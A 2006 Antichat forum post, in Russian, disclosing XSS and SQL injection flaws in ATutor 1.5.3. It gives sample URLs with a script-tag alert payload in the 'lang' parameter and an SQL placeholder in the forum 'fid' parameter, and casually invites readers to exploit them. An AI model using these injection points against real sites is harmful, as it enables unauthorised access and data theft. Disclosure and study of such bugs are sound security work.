ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

XSS и SQL injection на ATutor 1.5.3
  #1  
Старый 10.07.2006, 19:20
Аватар для Dracula4ever
Dracula4ever
Постоянный
Регистрация: 08.05.2006
Сообщений: 559
Провел на форуме:
1593567

Репутация: 354


Отправить сообщение для Dracula4ever с помощью ICQ Отправить сообщение для Dracula4ever с помощью AIM Отправить сообщение для Dracula4ever с помощью Yahoo
Smile XSS и SQL injection на ATutor 1.5.3

ATutor 1.5.3 (http://www.atutor.ca)



(1)...:XSS...:

http://TheSite.ru/documentation/index_list.php?lang="><script>alert(/тупой инклуд/)</script>



(1)...:SQL injection...:

http://TheSite.ru/forum/index.php?fid=-1[ваш SQL код]



Я думаю что вы теперь сможете вовесилиться.


P.S.
Для тех кто не знает что такое ATutor тогда ATutor является бесплатной Open Source основанной на Web Системой Управления Контентом Обучения разработанной с возможностью обеспечения доступа и адаптации по Вашему желанию.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ